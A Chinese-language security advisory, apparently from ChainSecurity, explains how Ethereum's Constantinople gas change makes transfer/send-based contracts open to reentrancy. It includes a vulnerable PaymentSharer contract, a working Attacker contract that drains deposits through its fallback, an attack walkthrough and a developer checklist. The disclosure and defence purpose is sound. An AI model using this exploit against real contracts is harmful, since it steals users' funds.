君士坦丁堡可造成新的重入攻击
即将到来的以太坊网络Constantinople升级为SSTORE操作引入了更便宜的gas成本。作为一种不必要的副作用,当在Solidity智能合约中使用address.transfer(…)或address.send(…)时,这可能引发重入攻击。以前,这些函数被认为是重入安全的,现在它们不再安全。
这段代码出了什么问题?
以下是一个简短的智能合约,在Constantinople之前不易受到重入攻击,但之后却可以。您可以在我们的Github上找到完整的源代码,包括攻击者合约。
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
新的易受攻击代码的示例
该代码以一种意想不到的方式受到攻击:它模拟一种安全的资金均摊服务。双方可以共同接收资金,决定如何split行以及接收payout。攻击者可以创建这样一对地址,其中第一个地址是以下列出的攻击者合约,第二个地址是任何攻击者账户。该攻击者将充值一些钱。
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
该攻击者将调用自己合约的attack函数,以便在一个交易中披露以下的事件:
1、攻击者使用updateSplit设置当前split,以确保后续升级是便宜的。这是Constantinople升级的结果。攻击者以这样的方式设置split,即第一个地址(合约地址)接收所有的资金。
2、攻击者合约调用splitFunds函数,该函数将执行检查*,并使用transfer将该对的全部存款发到合约。
3、从回调函数,攻击者再次更新split,这次将所有资金分配到攻击者的第二个账户。
4、splitFunds的执行继续,全部存款也转到第二个攻击者账户。
简而话之,攻击者只是从PaymentSharer合约中偷走了其他人的以太币,并且可以继续。
为什么现在可以攻击?
在Constantinople之前,每个storage操作都需要至少5000gas。这远远超过了使用transfer或send来调用合约时发送的2300gas费。
在Constantinople之后,正在改变“dirty” storage slot
的storage操作仅需要200gas。要使storage slot
变的dirty,必须在正在进行的交易期间更改它。如上所示,这通常可以通过攻击者合约调用一些改变所需变量的public函数来实现。然后,通过使易受攻击的合约调用攻击者合约,例如,使用msg.sender.transfer(…),攻击者合约可以使用2300gas费成功操纵漏洞合约的变量。
必须满足某些先决条件才能使合同变得易受攻击:
- 必须有一个函数A,函数中transfer/send之后,紧跟状态改变操作。这有时可能是不明显的,例如第二次transfer或与另一个智能合约的互动。
- 攻击者必须能够访问一个函数B,它可以(a)改变状态, (b)其状态变化与函数A的状态发生冲突。
- 函数B需要在少于1600gas时能执行(2300gas费- 为CALL提供700gas)。
下面的截图是来自以太坊黄皮书BYZANTIUM VERSION 69351d5 - 2018-12-10
我的合约是否易受攻击?
要测试您是否容易受到攻击:
(a)检查transfer事件后是否有任何操作。
(b)检查这些操作是否改变了存储状态,最常见的是分配一些存储变量。 如果你调用另一个合约,例如,token的 transfer方法*,检查哪些变量被修改。做一个列表。
(c)检查合约中非管理员可以访问的任何其他方法是否使用这些变量中的一个。
(d)检查这些方法是否自行改变存储状态
(e)检查是否有低于2300gas的方法,请记住SSTORE操作只有200gas。
如果出现这种情况,攻击者很可能会导致您的合约陷入不良状态。 总的来说,这是另一个提醒,即为什么Checks-Effects-Interactions模式如此重要。
有漏洞的智能合约吗?
使用eveem.org提供的数据扫描以太坊主链并未发现易受攻击的智能合约。 我们正在与ethsecurity.org工作组的成员合作,将此扫描扩展到尚未反编译的复杂智能合约。 特别是去中心化交易所经常调用以太币transfer函数到不可信账户,随后是状态变化,这可能遭受攻击。 我们在https://securify.chainsecurity.com上的静态分析器可以检测潜在的重入攻击,我们在https://github.com/eth-sri/securify上开源了相关模式。 请记住,在许多情况下,重入攻击的警告是不可利用的,但需要仔细分析。
致谢
特别感谢Ralph Pichler最初的讨论,强调这个新的攻击向量。
如果没有Tomasz Kolinko在使用符号执行来反编译智能合约的工作,我们将无法快速扫描大多数以太坊智能合约。 一旦所有合约都得到保障,我们将立即开源该项目。
*在此期间,合约将检查双方的新签名,以避免front-running和其他问题。 为了可读性,我们省略了这部分,因为它不会影响实际的攻击。